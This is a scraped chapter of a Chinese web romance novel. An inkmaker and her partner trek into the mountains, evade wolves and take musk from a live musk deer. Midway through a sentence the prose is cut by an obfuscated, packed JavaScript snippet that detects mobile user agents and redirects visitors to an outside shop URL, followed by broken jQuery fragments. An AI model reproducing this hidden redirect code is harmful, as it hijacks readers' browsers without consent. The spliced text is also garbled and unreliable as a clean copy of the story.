文趣网 > 都市小说 > 你太呆了,我不喜欢 > 62. 取香
    时间过隙,夏风悄无声息地吹进凇城这座小城,院里墙角的独兰花早已抽了新芽,扶渊挪了几株拿去店铺案桌上摆放,幽幽兰香飘散不止。

    扶渊仍然做着走山客的活,更多时候,会在店铺里帮忙。

    陈清浅雇了一些伙计帮忙照看铺子,又出钱租下城外一片荒坡,雇了些人,将买来的荏桐树苗种在那里,两年之后便是收获桐油的时候。

    她则是一整日都窝在后院墨肆里,以桐油烧烟,烧烟、熬胶、捶打、压锭、阴干,经过多次制作试验,油烟墨早已能制出且使用,虽有龙脑香等配料去味,但终究没有麝香的效果好,而且,麝香穿透力极强,能让油烟墨的黑泽更油润泛紫光,书写时,入纸不晕、经久不褪、万载存真。

    这是普通香料无法达到的效果,若想制作出上好的油烟墨,还是得考虑使用麝香。

    而且,墨色平庸的墨锭并不能卖个好价钱。

    只是……麝香并不容易取到,况且扶渊,不一定会带自己去找。陈清浅思及此,不由得萎靡不振,趴在桌上不知不觉熟睡过去。

    醒来的时候,自己已躺在床榻上。

    窗外天已黑尽,院内安静无比。扶渊似乎还未回来,放心不下地陈清浅起身走出房门,一开门,迎面扑来一股淡淡的油烟味。

    不用多思她便明白了,于是朝烟味飘来的方向走去。

    果真见,前方坐着一人,扶渊一袭素色长衫,独坐青石板阶上,脊背微松,他在静静地守着烟灯。

    夜色落进他眉眼,衬得他一身沉静安然。

    听到脚步声,扶渊心有感知回过头,笑着看她,“怎么醒了?”

    “睡够了便醒了。”陈清浅将手放到他掌中,朦朦光线下,见他眉眼疲惫,担忧着问,“这么晚了怎么不休息?”

    “这几日我不在,没能帮你,趁现下无事,做点事也好。”

    陈清浅便借着他手上想力道,挨着他身侧坐下,肩头轻轻靠着他肩膀。

    烟灯的微光落在两人交握的手上,晚风里伴着兰花的清香,四下唯有虫鸣低吟,心中的烦躁被这一方静谧抚平。

    陈清浅十分享受这相依的暖意。

    扶渊似乎察觉她的愁绪,原本虚拢着她的手,指腹不经意般,轻轻摩挲过她的指节,柔声问道:“有心事?”

    她指尖微蜷,心头轻轻一颤,没有躲闪,只缓缓将五指舒展,悄悄回握上去。

    “记得之前同你提过,制墨需要一种很重要的原料。”她没想着隐瞒,坦荡地说。

    扶渊垂眸,似在回思,须臾,他笑道:“麝香?”

    陈清浅点头,将近期起来制墨所遇到的瓶颈阶段都告诉了他,“我知道,这件事会让你为难,但……我又不想你因我而担忧。”

    在扶渊面前,陈清浅藏不住心事,所有喜怒哀乐他瞬间便明了,与其藏着掖着引来猜忌,不如直接坦白。

    她了解扶渊,如同对方了解她自己一般。

    果然,扶渊听了这话很是开心,他抬手抚摸着她的脸,心中生怜,“没想到我的清浅也如此在乎我了。”

    “之前你的确向我提及过想找麝香,但你是不是也忘了,你说过,你有办法在不杀麝鹿的情况下取香。”

    “是的,但这个方法我只在古书里见过,实际没操作过,不知道……”

    “我相信你。”扶渊打断她的焦灼的话,附身亲了亲她眉心,“或许我们可以试一试。”

    “你不会觉得……觉得我为了制墨,不择手段吗?”

    “不会,这是做正经生意,又不是伤天害理的事,何来不择手段一说?”

    陈清浅因这话触动,激动地用力回抱他,无声的拥抱便是最好的感激。

    “那趁着近来天气好,咱们关几天店便进山吧。”

    “好。”陈清浅揽着他手臂,靠在他臂弯里,望着天上一汪明月,忽然想起了初来凇城的时候,自己一个人在庭院里赏月,谈不上孤寂但没有此刻温暖,她不由得感慨,“我以前,从没想过,会决定与一个人相守一生。”

    “为什么?你应该不缺人喜欢,该有许多人上门提亲才是。”话音一落又意识到说错了话,想起叶如川,他心里泛着酸,“差点忘了,你有一个青梅竹马的未婚婿,人尽皆知的事,许是没有人敢轻易来提亲。”

    陈清浅听着这话,察觉是醋坛子打翻了,她忍俊不禁地笑出声,坐直了身子,反过去打趣他,“那也不及某人,心里含了一碗醋,到现在才翻,可酸得很。”

    论打嘴仗,扶渊说不过她,索性揽着她腰靠过来,低头堵住了她这张伶牙俐齿的嘴。

    陈清浅笑着轻拍他肩膀,却也没有推开半分。

    三天后,陈清浅挂出了“暂歇”挂牌,两人出城去。

    出发前,两人先是去了扶渊家中,扶锟见十指紧扣的两人,什么也没有说,笑意却盛满眼底。

    深山中猛兽太多,扶渊不打算带墨球一起,可耐不住它粘人无比,撵了几次才将它撵回家。

    扶渊寻了一条小道,路窄却极近。

    两人虽不赶时间,但深山里危险重重也得时刻戒备,终于走到了深山里面。

    炎夏的深山老林,比外头的时节晚了半分。

    两人踏着腐叶往里走了大半日,越往深处,湿冷山风便迎面扑来,头顶密不成风的枝叶遮住晴日的阳光,只有细碎的光斑从叶缝中漏下来。

    周遭万籁俱寂,唯有脚步碾过枯叶的窸窣轻响,四下里静得能听见彼此的呼吸。

    林间湿气极重,空气中混着朽木、青苔与不知名草木的腥气,沉甸甸压在鼻尖,处处透着湿寒的冷寂。

    如今麝鹿日渐珍稀,寻常浅山早已绝迹,唯有这无人踏足的深山腹地,才可能藏着残存的种群。

    扶渊二人屏息凝神,脚步放得极轻,目光扫过周围,生怕惊扰了野兽。

    可过了许久,一路行来,除了飞鸟、虫蛇窜动,连半点麝鹿的踪迹也无。

    正当心头渐沉,扶渊忽然抬手,猛地按住女主的臂弯,示意她止步噤声。

    只见不远处的矮灌丛里,忽然传来一阵细碎的响动,紧接着,一双幽绿的冷光自暗影中亮起,是狼!

    它们隐在树影深处,身形被密林半遮,只露出森森然的目光与紧绷的脊背。

    两人悄然蹲下来,用茂密荆棘遮住自己,连呼吸都压抑得极轻。

    陈清浅心生恐慌,余光扫过脚边,又是一阵寒意窜上脊背,腐叶覆盖的下面,一条青黑相间的蝮蛇正缓缓游走,许是因为他们身上的草药味,它识趣地赶紧逃离。

    四周

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904901|212709||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    太过寂静,豺狼没有捕捉到危险的气息,便朝北边空地跑去。

    阴冷风穿过枝叶,卷起地上的枯叶簌簌作响,躲在荆棘后面的两人终于暗自松了口气。

    陈清浅看着寥寥空山,再看眼前人,她突然不念来时的念头了,拉住了扶渊,说道:“阿渊,要么我们回去吧,为了制墨搭上性命,不值得。”

    扶渊却是反手牵住她,笑道:“别担心,我们会找到麝鹿的。”

    因着刚刚的情况,两人不敢多做停留,循着山涧湿土与林间极淡的异香,继续往深山更幽处行去。

    又翻过两道覆满青苔的陡坡,周遭的气息忽然变了。

    原本湿腐的草木腥气里,悄然掺进一缕清润幽冷、却又绵密悠长的异香,极淡极隐,似有若无,非凝神细辨不能察觉——正是麝香独有的味道。

    两人顺着香气的源头缓缓拨开齐肩的灌木。

    前方是一处被群山环抱的隐秘溪谷,谷中林木稍疏,溪谷中央的青草地里,正站着三五只林麝。

    它们身形小巧,毛色是深棕灰褐,皮毛油光水滑,耳尖灵敏转动,黑亮的眼珠带着天生的警觉,正低头啃食溪边嫩草。

    最显眼的,是成年雄麝腹下靠近肚脐处,一枚微微凸起的香囊,那便是孕育麝香的所在。

    它们生性极为机敏,稍有风吹草动便会惊奔逃窜,想要靠近,还是有难度。

    陈清浅屏住呼吸,指尖微微发紧,目光一瞬不瞬地落在那几只麝鹿身上。扶渊自腰间布袋取出提前备好的药草,皆是林麝最喜食的甜润药草。

    他将药草细细揉碎,混上少量山泉,揉成细碎草团,顺着风势,极轻极缓地抛向溪谷边缘的草丛。

    林麝的嗅觉灵敏,起初警惕地抬头张望,片刻后,那甜润的药香盖过了生人气息,终于有一只年轻雄麝耐不住诱惑,小心翼翼地迈着细步,缓步靠近草丛,垂首试探着啃食草团。

    其余几只见同伴安然无恙,也渐渐放下戒心,三三两两聚拢过来。

    扶渊眼神示意陈清浅留在原地,自己压低身形,借着灌木与树影的掩护,他目光牢牢锁定那只香囊最为饱满的成年雄麝,悄无声息地缓步靠近。

    待距离足够,他从怀中取出一支特制的细竹管,管头打磨得圆润光滑,不伤皮毛,管身缠着细韧的蚕丝线,尾端系着一枚小巧的银质小铲。

    这便是陈清浅所说的,古法活体取麝的器具,不需猎杀,不伤性命,只需从雄麝的香囊中,取出结凝的香仁。

    雄麝正低头咀嚼药草,全然未觉身侧异动。扶渊指尖极稳,趁它低头的瞬间,指尖轻轻按住香囊周围皮毛,将细竹管缓缓探入香囊口,竹管极细,恰好容下银铲。

    他屏住气息,借着微光,极轻极缓地转动银铲,小心翼翼刮下香囊内壁凝结的深褐色香仁——那便是麝香。

    整个过程不过片刻,那雄麝只微微动了动耳朵,依旧专注啃食,对其他浑然不知。

    取好之后,扶渊迅速收回竹管,将取出的麝香小心盛入随身的瓷香盒中,即刻盖紧,隔绝香气外泄,生怕浓烈的麝香惊扰了它们。

    然后缓缓后退,直至退回陈清浅身侧,才长舒一口气,眼神中藏着一丝不易察觉的欣喜。

    终于得偿所愿,取到了那一味千金难求的活麝奇香。